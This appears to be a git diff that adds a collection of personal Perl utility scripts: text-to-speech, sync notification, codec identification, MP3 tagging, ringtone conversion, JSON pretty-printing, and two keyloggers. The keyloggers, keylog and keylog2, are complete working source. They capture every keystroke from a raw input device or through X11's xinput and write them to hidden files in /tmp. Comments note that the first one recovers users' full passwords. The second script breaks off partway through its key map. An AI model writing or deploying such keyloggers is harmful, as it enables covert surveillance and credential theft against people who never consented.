echo "$1 is not Flash Video. Skipping"
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
shift
|
||||||
|
done
|
||||||
|
|
27
home/bin/gsay
Executable file
27
home/bin/gsay
Executable file
|
@ -0,0 +1,27 @@
|
||||||
|
#!/usr/bin/perl
|
||||||
|
|
||||||
|
# gsay - Text to Speech using Google
|
||||||
|
# Usage: gsay <message>
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use URI::Escape;
|
||||||
|
|
||||||
|
if (scalar(@ARGV) == 0 || $ARGV[0] =~ /^-/) {
|
||||||
|
die "Usage: $0 <message>\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
my $message = uri_escape(join(" ", @ARGV));
|
||||||
|
|
||||||
|
# Check for mplayer.
|
||||||
|
chomp(my $mplayer = `which mplayer 2>/dev/null`);
|
||||||
|
if ($? || !$mplayer) {
|
||||||
|
die "Couldn't find `mplayer` - please install it!\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
# Fork a background process to speak and exit immediately.
|
||||||
|
exit if fork();
|
||||||
|
exec("$mplayer -ao alsa -really-quiet -noconsolecontrols \"http://translate.google.com/translate_tts?tl=en&q=$message\" >/dev/null 2>&1");
|
25
home/bin/gsync
Executable file
25
home/bin/gsync
Executable file
|
@ -0,0 +1,25 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# gsync - Graphically run the `sync` command to flush the write buffers to
|
||||||
|
# flash drives and things in Linux.
|
||||||
|
#
|
||||||
|
# If you want to make sure data is written to a flash drive without having to
|
||||||
|
# unmount it, sync is the command to run. This just adds libnotify popups
|
||||||
|
# about it.
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
|
||||||
|
# Icon to use
|
||||||
|
my $icon = "/usr/share/icons/gnome/32x32/actions/stock_refresh.png";
|
||||||
|
|
||||||
|
# Start
|
||||||
|
system("notify-send",
|
||||||
|
"--icon" => $icon,
|
||||||
|
"Syncing removable media...");
|
||||||
|
my $now = time();
|
||||||
|
system("sync");
|
||||||
|
my $elapsed = time() - $now;
|
||||||
|
system("notify-send",
|
||||||
|
"--icon" => $icon,
|
||||||
|
"Sync completed in $elapsed second" . ($elapsed == 1 ? '' : 's') . "!");
|
69
home/bin/id-codec
Executable file
69
home/bin/id-codec
Executable file
|
@ -0,0 +1,69 @@
|
||||||
|
#!/usr/bin/perl
|
||||||
|
|
||||||
|
# id-codec: Identify the codec used in a video file.
|
||||||
|
#
|
||||||
|
# Usage: id-codec *.avi
|
||||||
|
#
|
||||||
|
# Requires mplayer.
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use 5.16.0;
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use Getopt::Long;
|
||||||
|
use Term::ANSIColor;
|
||||||
|
|
||||||
|
my $help;
|
||||||
|
my $color = 1;
|
||||||
|
GetOptions(
|
||||||
|
'color!' => \$color,
|
||||||
|
'help|h|?' => \$help,
|
||||||
|
);
|
||||||
|
|
||||||
|
if ($help) {
|
||||||
|
die "Usage: id-codec [--nocolor] <video files>\n"
|
||||||
|
. "Use --nocolor to suppress ANSI color codes.\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
my $mplayer;
|
||||||
|
unless (chomp($mplayer = `which mplayer 2>/dev/null`)) {
|
||||||
|
die "This requires mplayer to be installed.\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach my $file (@ARGV) {
|
||||||
|
green("$file: ");
|
||||||
|
my $cmd = qq{$mplayer -frames 0 -vo null -ao null -identify "$file" 2>/dev/null | grep "Selected video codec"};
|
||||||
|
chomp(my $result = `$cmd` || "(unidentifiable)");
|
||||||
|
$result =~ s/^Selected video codec:\s+//g;
|
||||||
|
yellow("$result\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
sub green {
|
||||||
|
my $text = shift;
|
||||||
|
|
||||||
|
if ($color) {
|
||||||
|
print color 'bright_green';
|
||||||
|
}
|
||||||
|
|
||||||
|
print $text;
|
||||||
|
|
||||||
|
if ($color) {
|
||||||
|
print color 'reset';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub yellow {
|
||||||
|
my $text = shift;
|
||||||
|
|
||||||
|
if ($color) {
|
||||||
|
print color 'bright_yellow';
|
||||||
|
}
|
||||||
|
|
||||||
|
print $text;
|
||||||
|
|
||||||
|
if ($color) {
|
||||||
|
print color 'reset';
|
||||||
|
}
|
||||||
|
}
|
54
home/bin/id3set
Executable file
54
home/bin/id3set
Executable file
|
@ -0,0 +1,54 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# id3set - Stupid simple way to set IDv3 tags on an MP3.
|
||||||
|
#
|
||||||
|
# Usage: id3set "Band Name - Song" song.mp3
|
||||||
|
#
|
||||||
|
# This script just sets artist and song title info. It's useful for MP3s that
|
||||||
|
# completely lack this information.
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use MP3::Info;
|
||||||
|
|
||||||
|
if (scalar(@ARGV) == 0 || scalar(@ARGV) > 2) {
|
||||||
|
die "Usage: $0 <Band Name - Title> file.mp3";
|
||||||
|
}
|
||||||
|
|
||||||
|
my $info;
|
||||||
|
my $file;
|
||||||
|
if (scalar(@ARGV) == 1) {
|
||||||
|
# Only a file given.
|
||||||
|
if ($ARGV[0] =~ /^(.+? - .+?)\.mp3$/i) {
|
||||||
|
# Good enough!
|
||||||
|
$info = $1;
|
||||||
|
$file = shift;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$info = shift;
|
||||||
|
$file = shift;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!-f $file) {
|
||||||
|
die "$file: file not found.";
|
||||||
|
}
|
||||||
|
|
||||||
|
my ($band, $song) = $info =~ /^(.+?) - (.+?)$/;
|
||||||
|
$band = trim($band);
|
||||||
|
$song = trim($song);
|
||||||
|
|
||||||
|
print "Artist: $band\n";
|
||||||
|
print " Title: $song\n";
|
||||||
|
|
||||||
|
MP3::Info::set_mp3tag($file, $song, $band);
|
||||||
|
|
||||||
|
sub trim {
|
||||||
|
$_ = shift;
|
||||||
|
s/^\s+//g;
|
||||||
|
s/\s+$//g;
|
||||||
|
return $_;
|
||||||
|
}
|
35
home/bin/iphone-ringtone
Executable file
35
home/bin/iphone-ringtone
Executable file
|
@ -0,0 +1,35 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# iphone-ringtone: convert MP3 tracks into M4R audio files for
|
||||||
|
# iPhone ringtones.
|
||||||
|
#
|
||||||
|
# Requires: mplayer, faac
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
# Get args.
|
||||||
|
scalar(@ARGV) or die "Usage: iphone-ringtone <track.mp3>";
|
||||||
|
my $mp3 = shift(@ARGV);
|
||||||
|
|
||||||
|
# Turn the mp3 name into an m4r name.
|
||||||
|
my $m4r = $mp3;
|
||||||
|
$m4r =~ s/\.mp3$/.m4r/i;
|
||||||
|
$m4r .= ".m4r" unless $m4r =~ /\.m4r$/i;
|
||||||
|
|
||||||
|
# Turn the m4r name into an m4a name (this is the name that
|
||||||
|
# faac will produce when run).
|
||||||
|
my $m4a = $m4r;
|
||||||
|
$m4a =~ s/\.m4r$/.m4a/i;
|
||||||
|
|
||||||
|
# Turn the m4r name into a .wav for mplayer.
|
||||||
|
my $wav = $m4r;
|
||||||
|
$wav =~ s/\.m4r$/.wav/i;
|
||||||
|
|
||||||
|
# Run the commands.
|
||||||
|
system("mplayer -vo null -vc null -ao pcm:fast:file=$wav $mp3");
|
||||||
|
system("faac -b 128 -c 44100 -w $wav");
|
||||||
|
rename($m4a,$m4r);
|
||||||
|
unlink($wav);
|
||||||
|
|
||||||
|
print "Done. Now scp the file to /Library/Ringtones/ on your iPhone.\n";
|
23
home/bin/json-pretty
Executable file
23
home/bin/json-pretty
Executable file
|
@ -0,0 +1,23 @@
|
||||||
|
#!/usr/bin/perl
|
||||||
|
|
||||||
|
# json-pretty: Take a JSON file and pretty-print it.
|
||||||
|
#
|
||||||
|
# Usage: json-pretty <file.json>
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use JSON;
|
||||||
|
|
||||||
|
my $file = shift(@ARGV) or die "Usage: $0 <file.json>\n";
|
||||||
|
|
||||||
|
my $json = JSON->new->utf8->pretty();
|
||||||
|
|
||||||
|
local $/ = undef;
|
||||||
|
open(my $fh, "<", $file);
|
||||||
|
my $text = <$fh>;
|
||||||
|
close($fh);
|
||||||
|
|
||||||
|
my $data = $json->decode($text);
|
||||||
|
print $json->encode($data);
|
370
home/bin/keylog
Executable file
370
home/bin/keylog
Executable file
|
@ -0,0 +1,370 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use threads;
|
||||||
|
use threads::shared;
|
||||||
|
|
||||||
|
# keylog - A simple key logger.
|
||||||
|
# Usage: keylog <path-to-device-node>
|
||||||
|
# Example: keylog /dev/input/event0
|
||||||
|
#
|
||||||
|
# The user you run this as should have read access to the device node. Most of
|
||||||
|
# the time, this means you'll need to run this as root.
|
||||||
|
#
|
||||||
|
# To find out which device node your keyboard is using, run the command
|
||||||
|
# `cat /proc/bus/input/devices` and search for your keyboard. There should be
|
||||||
|
# a line by your keyboard's info that looks like "Handlers=kbd event4" and
|
||||||
|
# in this case the input device is /dev/input/event4. Update this for any
|
||||||
|
# other event number that you see instead.
|
||||||
|
#
|
||||||
|
# This program prints ALL key events to the terminal (including the key up/down
|
||||||
|
# events for all keys). This information probably isn't directly useful to you,
|
||||||
|
# so it also logs "full sentences" to the log file at /tmp/.keylog. The lines
|
||||||
|
# it logs are probably the most useful to you; if the user hits the backspace
|
||||||
|
# key, the last key they typed is deleted, etc.. so if a user is typing their
|
||||||
|
# password and makes a typo and finishes typing, you'll get their full password.
|
||||||
|
#
|
||||||
|
# The buffer used for this is saved after 2 seconds of idle time in their typing,
|
||||||
|
# or when a "separator key" is entered (a separator key is: Enter, Return, or
|
||||||
|
# Tab). Each buffer is saved to its own line in the log file. If the user is a
|
||||||
|
# slow typer, one "sentence" may actually span multiple lines, so you'll have to
|
||||||
|
# figure this out yourself.
|
||||||
|
#
|
||||||
|
# This is just a proof of concept and should be used for educational purposes
|
||||||
|
# only.
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
# Modify the die handler so we can exit on error messages
|
||||||
|
# more gracefully.
|
||||||
|
$SIG{__DIE__} = sub {
|
||||||
|
my $err = shift;
|
||||||
|
$err =~ s/ at .+ line .+\.//g;
|
||||||
|
print $err;
|
||||||
|
exit(1);
|
||||||
|
};
|
||||||
|
|
||||||
|
# Get the device node from command line.
|
||||||
|
scalar(@ARGV) or die "Usage: keylog <device-node>\nExample: keylog /dev/input/event0";
|
||||||
|
my $DEV = $ARGV[0];
|
||||||
|
|
||||||
|
# Must run this as root, or be able to read from the device.
|
||||||
|
if (!-r $DEV) {
|
||||||
|
die "Can't read from $DEV; got root?";
|
||||||
|
}
|
||||||
|
|
||||||
|
# Hash to keep track of modifier keys.
|
||||||
|
our $mod = {
|
||||||
|
shift => 0,
|
||||||
|
alt => 0,
|
||||||
|
ctrl => 0,
|
||||||
|
};
|
||||||
|
|
||||||
|
# This scalar holds the "typing buffer". If they pause typing for 2 seconds,
|
||||||
|
# or hit a "separator key" (return/enter or tab), the buffer is written to disk
|
||||||
|
# in the log file. The backspace key deletes text in the buffer, etc. This way
|
||||||
|
# you can see basically what they typed, without having to parse through the
|
||||||
|
# key up/down events yourself.
|
||||||
|
my $buffer : shared;
|
||||||
|
my $lastkey : shared; # Holds the time() of the last key event seen.
|
||||||
|
my $writenow : shared; # The key parser can force the buffer to write now.
|
||||||
|
$buffer = '';
|
||||||
|
$lastkey = 0;
|
||||||
|
$writenow = 0;
|
||||||
|
|
||||||
|
# Spawn a thread to watch the buffer and write it to disk. This way the
|
||||||
|
# blocking file reads won't prevent the buffer from being written.
|
||||||
|
my $bufthread = threads->create (\&buffer);
|
||||||
|
|
||||||
|
# Open the device for reading.
|
||||||
|
open (FILE, $DEV);
|
||||||
|
while (1) {
|
||||||
|
# Read the next keypress event.
|
||||||
|
my $line = "";
|
||||||
|
sysread(FILE, $line, 16);
|
||||||
|
my @vals = split(//, $line);
|
||||||
|
|
||||||
|
if (ord($vals[10]) != 0) {
|
||||||
|
# Interpret the event.
|
||||||
|
interpret(ord($vals[10]),ord($vals[12]));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close (FILE);
|
||||||
|
|
||||||
|
# This is the buffer writing thread.
|
||||||
|
sub buffer {
|
||||||
|
while (1) {
|
||||||
|
select(undef,undef,undef,0.1);
|
||||||
|
|
||||||
|
# Was there a 2 second delay from the last event?
|
||||||
|
if ($lastkey == 0) {
|
||||||
|
next;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((time() - $lastkey >= 2 && length($buffer) > 0) || $writenow) {
|
||||||
|
# Write it to disk.
|
||||||
|
print "Writing buffer to disk\n";
|
||||||
|
open (WRITE, ">>/tmp/.keylog");
|
||||||
|
print WRITE ts() . "$buffer\n";
|
||||||
|
close (WRITE);
|
||||||
|
$buffer = '';
|
||||||
|
$lastkey = 0;
|
||||||
|
$writenow = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Interpret keycode events from the device node.
|
||||||
|
sub interpret {
|
||||||
|
my ($keycode,$state) = @_;
|
||||||
|
|
||||||
|
# Store the last keypress time.
|
||||||
|
$lastkey = time();
|
||||||
|
|
||||||
|
# Qwerty keyboard map.
|
||||||
|
qwerty($keycode,$state);
|
||||||
|
return;
|
||||||
|
|
||||||
|
# This code doesn't run; if you want it to run,
|
||||||
|
# comment out the "return" just above these
|
||||||
|
# comments. This is for debugging purposes.
|
||||||
|
print "[$keycode] ";
|
||||||
|
if ($state == 0) {
|
||||||
|
print "up\n";
|
||||||
|
}
|
||||||
|
elsif ($state == 1) {
|
||||||
|
print "down\n";
|
||||||
|
}
|
||||||
|
elsif ($state == 2) {
|
||||||
|
print "repeat\n";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
print "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Interpret keycodes based on QWERTY key map.
|
||||||
|
sub qwerty {
|
||||||
|
my ($code,$state) = @_;
|
||||||
|
return unless $state >= 0 && $state <= 2;
|
||||||
|
|
||||||
|
# Handle the modifier keys first.
|
||||||
|
if ($code == 42 || $code == 54) {
|
||||||
|
# Shift key.
|
||||||
|
$mod->{shift} = ($state == 1 ? 1 : 0);
|
||||||
|
}
|
||||||
|
elsif ($code == 29 || $code == 97) {
|
||||||
|
# Ctrl key.
|
||||||
|
$mod->{ctrl} = ($state == 1 ? 1 : 0);
|
||||||
|
}
|
||||||
|
elsif ($code == 56 || $code == 100) {
|
||||||
|
# Alt key.
|
||||||
|
$mod->{alt} = ($state == 1 ? 1 : 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
# Qwery keys.
|
||||||
|
my %keys = (
|
||||||
|
# Keys that map to two different characters (with shift
|
||||||
|
# key held down) are an array; element 0 is the non-shifted
|
||||||
|
# character, element 1 is the shifted character.
|
||||||
|
|
||||||
|
# number row
|
||||||
|
41 => [ '`', '~' ],
|
||||||
|
2 => [ '1', '!' ],
|
||||||
|
3 => [ '2', '@' ],
|
||||||
|
4 => [ '3', '#' ],
|
||||||
|
5 => [ '4', '$' ],
|
||||||
|
6 => [ '5', '%' ],
|
||||||
|
7 => [ '6', '^' ],
|
||||||
|
8 => [ '7', '&' ],
|
||||||
|
9 => [ '8', '*' ],
|
||||||
|
10 => [ '9', '(' ],
|
||||||
|
11 => [ '0', ')' ],
|
||||||
|
12 => [ '-', '_' ],
|
||||||
|
13 => [ '=', '+' ],
|
||||||
|
|
||||||
|
# qwerty row
|
||||||
|
16 => [ 'q', 'Q' ],
|
||||||
|
17 => [ 'w', 'W' ],
|
||||||
|
18 => [ 'e', 'E' ],
|
||||||
|
19 => [ 'r', 'R' ],
|
||||||
|
20 => [ 't', 'T' ],
|
||||||
|
21 => [ 'y', 'Y' ],
|
||||||
|
22 => [ 'u', 'U' ],
|
||||||
|
23 => [ 'i', 'I' ],
|
||||||
|
24 => [ 'o', 'O' ],
|
||||||
|
25 => [ 'p', 'P' ],
|
||||||
|
26 => [ '[', '{' ],
|
||||||
|
27 => [ ']', '}' ],
|
||||||
|
43 => [ '\\', '|' ],
|
||||||
|
|
||||||
|
# asdf row
|
||||||
|
30 => [ 'a', 'A' ],
|
||||||
|
31 => [ 's', 'S' ],
|
||||||
|
32 => [ 'd', 'D' ],
|
||||||
|
33 => [ 'f', 'F' ],
|
||||||
|
34 => [ 'g', 'G' ],
|
||||||
|
35 => [ 'h', 'H' ],
|
||||||
|
36 => [ 'j', 'J' ],
|
||||||
|
37 => [ 'k', 'K' ],
|
||||||
|
38 => [ 'l', 'L' ],
|
||||||
|
39 => [ ';', ':' ],
|
||||||
|
40 => [ "'", '"' ],
|
||||||
|
|
||||||
|
# zxcv row
|
||||||
|
44 => [ 'z', 'Z' ],
|
||||||
|
45 => [ 'x', 'X' ],
|
||||||
|
46 => [ 'c', 'C' ],
|
||||||
|
47 => [ 'v', 'V' ],
|
||||||
|
48 => [ 'b', 'B' ],
|
||||||
|
49 => [ 'n', 'N' ],
|
||||||
|
50 => [ 'm', 'M' ],
|
||||||
|
51 => [ ',', '<' ],
|
||||||
|
52 => [ '.', '>' ],
|
||||||
|
53 => [ '/', '?' ],
|
||||||
|
|
||||||
|
# Other keys
|
||||||
|
14 => 'Backspace',
|
||||||
|
28 => 'Return',
|
||||||
|
96 => 'Enter',
|
||||||
|
15 => 'Tab',
|
||||||
|
57 => ' ',
|
||||||
|
58 => 'Caps Lock',
|
||||||
|
69 => 'Num Lock',
|
||||||
|
70 => 'Scroll Lock',
|
||||||
|
42 => 'L-Shift',
|
||||||
|
54 => 'R-Shift',
|
||||||
|
29 => 'L-Ctrl',
|
||||||
|
97 => 'R-Ctrl',
|
||||||
|
56 => 'L-Alt',
|
||||||
|
100 => 'R-Alt',
|
||||||
|
125 => 'L-Super',
|
||||||
|
126 => 'R-Super',
|
||||||
|
127 => 'Menu',
|
||||||
|
1 => 'Escape',
|
||||||
|
59 => 'F1',
|
||||||
|
60 => 'F2',
|
||||||
|
61 => 'F3',
|
||||||
|
62 => 'F4',
|
||||||
|
63 => 'F5',
|
||||||
|
64 => 'F6',
|
||||||
|
65 => 'F7',
|
||||||
|
66 => 'F8',
|
||||||
|
67 => 'F9',
|
||||||
|
68 => 'F10',
|
||||||
|
87 => 'F11',
|
||||||
|
88 => 'F12',
|
||||||
|
110 => 'Insert',
|
||||||
|
102 => 'Home',
|
||||||
|
107 => 'End',
|
||||||
|
104 => 'Pg Up',
|
||||||
|
109 => 'Pg Dn',
|
||||||
|
111 => 'Del',
|
||||||
|
99 => 'Print Screen',
|
||||||
|
119 => 'Pause',
|
||||||
|
103 => 'Up',
|
||||||
|
108 => 'Down',
|
||||||
|
106 => 'Right',
|
||||||
|
105 => 'Left',
|
||||||
|
71 => [ 'Num-7', 'Num-Home' ],
|
||||||
|
72 => [ 'Num-8', 'Num-Up' ],
|
||||||
|
73 => [ 'Num-9', 'Num-Pg Up' ],
|
||||||
|
75 => [ 'Num-4', 'Num-Left' ],
|
||||||
|
76 => 'Num-5',
|
||||||
|
77 => [ 'Num-6', 'Num-Right' ],
|
||||||
|
79 => [ 'Num-1', 'Num-End' ],
|
||||||
|
80 => [ 'Num-2', 'Num-Down' ],
|
||||||
|
81 => [ 'Num-3', 'Num-Pg Dn' ],
|
||||||
|
82 => [ 'Num-0', 'Num-Insert' ],
|
||||||
|
96 => 'Num-/',
|
||||||
|
55 => 'Num-*',
|
||||||
|
74 => 'Num--',
|
||||||
|
78 => 'Num-+',
|
||||||
|
93 => [ 'Num-.', 'Num-Del' ],
|
||||||
|
);
|
||||||
|
|
||||||
|
# See their matching keypress.
|
||||||
|
my $keypress = '';
|
||||||
|
foreach my $key (sort keys %keys) {
|
||||||
|
if ($code == $key) {
|
||||||
|
# We have a match! Does the key have a shift-modifier?
|
||||||
|
if (ref($keys{$key}) eq "ARRAY") {
|
||||||
|
if ($mod->{shift}) {
|
||||||
|
$keypress = $keys{$key}->[1];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$keypress = $keys{$key}->[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$keypress = $keys{$key};
|
||||||
|
}
|
||||||
|
last;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Add it to the buffer.
|
||||||
|
if ($state == 1) {
|
||||||
|
if (length $keypress > 1) {
|
||||||
|
if ($keypress eq 'Backspace') {
|
||||||
|
# Delete the last character off the end of their buffer.
|
||||||
|
$buffer = substr($buffer,0,(length($buffer) - 1));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
# Add the special key with {brackets} around it.
|
||||||
|
$buffer .= "{$keypress}";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$buffer .= $keypress;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# If they hit a separator key, save the buffer right now.
|
||||||
|
if ($state == 1 && ($keypress eq 'Return' || $keypress eq 'Enter' || $keypress eq 'Tab')) {
|
||||||
|
$writenow = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Print their key.
|
||||||
|
if ($mod->{shift}) {
|
||||||
|
$keypress = "(Shift) $keypress";
|
||||||
|
}
|
||||||
|
if ($mod->{ctrl}) {
|
||||||
|
$keypress = "(Ctrl) $keypress";
|
||||||
|
}
|
||||||
|
if ($mod->{alt}) {
|
||||||
|
$keypress = "(Alt) $keypress";
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($state == 1) {
|
||||||
|
$keypress = "+ $keypress";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$keypress = "- $keypress";
|
||||||
|
}
|
||||||
|
|
||||||
|
print "$code $keypress\n";
|
||||||
|
|
||||||
|
# Log the raw keypresses too.
|
||||||
|
open (RAW, ">>/tmp/.rawkeylog");
|
||||||
|
print RAW ts() . "$code $keypress\n";
|
||||||
|
close (RAW);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub ts {
|
||||||
|
my @time = localtime();
|
||||||
|
return "[" . join(" ",
|
||||||
|
join("-",
|
||||||
|
sprintf("%04d", $time[5] + 1900),
|
||||||
|
sprintf("%02d", $time[4] + 1),
|
||||||
|
sprintf("%02d", $time[3]),
|
||||||
|
),
|
||||||
|
join(":",
|
||||||
|
sprintf("%02d", $time[2]),
|
||||||
|
sprintf("%02d", $time[1]),
|
||||||
|
sprintf("%02d", $time[0]),
|
||||||
|
),
|
||||||
|
) . "] ";
|
||||||
|
}
|
292
home/bin/keylog2
Executable file
292
home/bin/keylog2
Executable file
|
@ -0,0 +1,292 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# keylog2 - a rootless keylogger that only requires an X server and the xinput
|
||||||
|
# command (provided by xorg-x11-apps on Fedora). You'll also need to install
|
||||||
|
# the Perl module IO::Pty::Easy.
|
||||||
|
#
|
||||||
|
# Unlike my first keylogger proof-of-concept, this one doesn't require root
|
||||||
|
# privileges because it just uses the X Window System. Therefore it only
|
||||||
|
# catches key inputs made to graphical programs on the same X server that the
|
||||||
|
# keylogger runs on.
|
||||||
|
#
|
||||||
|
# How it works: running `xinput list` lists all your X input devices. There's
|
||||||
|
# a keyboard device named "AT (something)", mine is "AT Translated Set 2
|
||||||
|
# keyboard". Get the ID from the line that says this and then run
|
||||||
|
# `xinput test <id>` and it will start dumping keystroke information as the
|
||||||
|
# user types keys into ANY graphical app.
|
||||||
|
#
|
||||||
|
# I mapped the QWERTY keyboard set using my own keyboard by trial-and-error,
|
||||||
|
# so no guarantees it will work for everybody. This is just another proof of
|
||||||
|
# concept anyway, and shouldn't be used for malicious purposes.
|
||||||
|
#
|
||||||
|
# Under the default configuration, the log file is written to /tmp/.keylog
|
||||||
|
# and only logs key release events, except for modifier keys (Shift, Ctrl,
|
||||||
|
# Alt, and Super (Windows key)) where it will also log the Key Down event
|
||||||
|
# (so Alt-Tabbing makes more sense in the log, for example). You can
|
||||||
|
# optionally configure it to log EVERY key down event if you'd like, though.
|
||||||
|
#
|
||||||
|
# Again, this is just a proof of concept and should be used for educational
|
||||||
|
# purposes only, and not for anything malicious.
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use IO::Pty::Easy;
|
||||||
|
use IO::Handle;
|
||||||
|
|
||||||
|
##########################
|
||||||
|
# Configuration #
|
||||||
|
##########################
|
||||||
|
|
||||||
|
my $conf = {
|
||||||
|
# Log files to write keys to
|
||||||
|
logfile => "/tmp/.keylog",
|
||||||
|
|
||||||
|
# By default only key-releases are logged. Log key-presses too?
|
||||||
|
log_keydown => 0,
|
||||||
|
};
|
||||||
|
|
||||||
|
##########################
|
||||||
|
# End Configuration #
|
||||||
|
##########################
|
||||||
|
|
||||||
|
# X11 display.
|
||||||
|
$ENV{DISPLAY} ||= ":0.0";
|
||||||
|
|
||||||
|
# Make sure we have xinput.
|
||||||
|
if (system("which xinput > /dev/null") != 0) {
|
||||||
|
print "You require the `xinput` command for this keylogger to work.\n";
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
# Get the input list.
|
||||||
|
my @inputs = `xinput list`;
|
||||||
|
|
||||||
|
# Find the AT keyboard.
|
||||||
|
my $id;
|
||||||
|
foreach my $line (@inputs) {
|
||||||
|
$line =~ s/^[\s\t]+//g;
|
||||||
|
$line =~ s/[\s\t]+$//g;
|
||||||
|
$line =~ s/[\x0D\x0A]+//g;
|
||||||
|
next unless length $line;
|
||||||
|
if ($line =~ /keyboard/i && $line =~ /. AT/) {
|
||||||
|
($id) = ($line =~ /id=(\d+)/)[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!defined $id) {
|
||||||
|
print "Failed to find \"AT\" keyboard ID from `xinput list`!\n";
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
print "Keyboard ID: $id\n";
|
||||||
|
|
||||||
|
# Track state of modifier keys.
|
||||||
|
our %mod = (
|
||||||
|
'shift' => 0,
|
||||||
|
'ctrl' => 0,
|
||||||
|
'alt' => 0,
|
||||||
|
'super' => 0,
|
||||||
|
);
|
||||||
|
|
||||||
|
# Begin watching. Make a pseudo TTY for this so xinput believes we're a shell.
|
||||||
|
my $tty = IO::Pty::Easy->new();
|
||||||
|
print "Watching `xinput test $id`\n";
|
||||||
|
$tty->spawn("xinput test $id");
|
||||||
|
|
||||||
|
while ($tty->is_active) {
|
||||||
|
my $data = $tty->read();
|
||||||
|
my @lines = split(/\n/, $data);
|
||||||
|
foreach my $line (@lines) {
|
||||||
|
# Key event?
|
||||||
|
chomp $line;
|
||||||
|
if ($line =~ /^key\s+(press|release)\s+(\d+)\s*?$/i) {
|
||||||
|
event($1, $2);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Handle key events
|
||||||
|
sub event {
|
||||||
|
my ($event,$sym) = @_;
|
||||||
|
|
||||||
|
# Only QWERTY keyboards supported.
|
||||||
|
my $key = kbd_qwerty($event,$sym);
|
||||||
|
|
||||||
|
print "[$sym] $event: " . ($key eq " " ? "{space}" : $key) . "\n";
|
||||||
|
|
||||||
|
# Log it?
|
||||||
|
if ($event eq "release" || ($event eq "press" && $conf->{log_keydown}) ||
|
||||||
|
($key =~ /^\{(Shift|Ctrl|Alt|Super)\}$/)) {
|
||||||
|
my @time = localtime(time());
|
||||||
|
my $ts = join(" ",
|
||||||
|
join("-",
|
||||||
|
sprintf("%4d", $time[5] + 1900),
|
||||||
|
sprintf("%2d", $time[4] + 1),
|
||||||
|
sprintf("%2d", $time[3]),
|
||||||
|
),
|
||||||
|
join(":",
|
||||||
|
sprintf("%2d", $time[2]),
|
||||||
|
sprintf("%2d", $time[1]),
|
||||||
|
sprintf("%2d", $time[0]),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
|
||||||
|
open (my $log, ">>", $conf->{logfile});
|
||||||
|
print $log "[$ts] "
|
||||||
|
. ($event eq "release" ? "<Release>" : "<Press>")
|
||||||
|
. " "
|
||||||
|
. ($key eq " " ? "{space}" : $key)
|
||||||
|
. "\n";
|
||||||
|
close ($log);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# QWERTY keysym finder
|
||||||
|
sub kbd_qwerty {
|
||||||
|
my ($event,$sym) = @_;
|
||||||
|
|
||||||
|
# Modifier keys.
|
||||||
|
my %modkeys = (
|
||||||
|
50 => 'shift', # L Shift
|
||||||
|
62 => 'shift', # R Shift
|
||||||
|
37 => 'ctrl', # L Ctrl
|
||||||
|
105 => 'ctrl', # R Ctrl
|
||||||
|
64 => 'alt', # L Alt
|
||||||
|
108 => 'alt', # R Alt
|
||||||
|
133 => 'super', # L Super
|
||||||
|
);
|
||||||
|
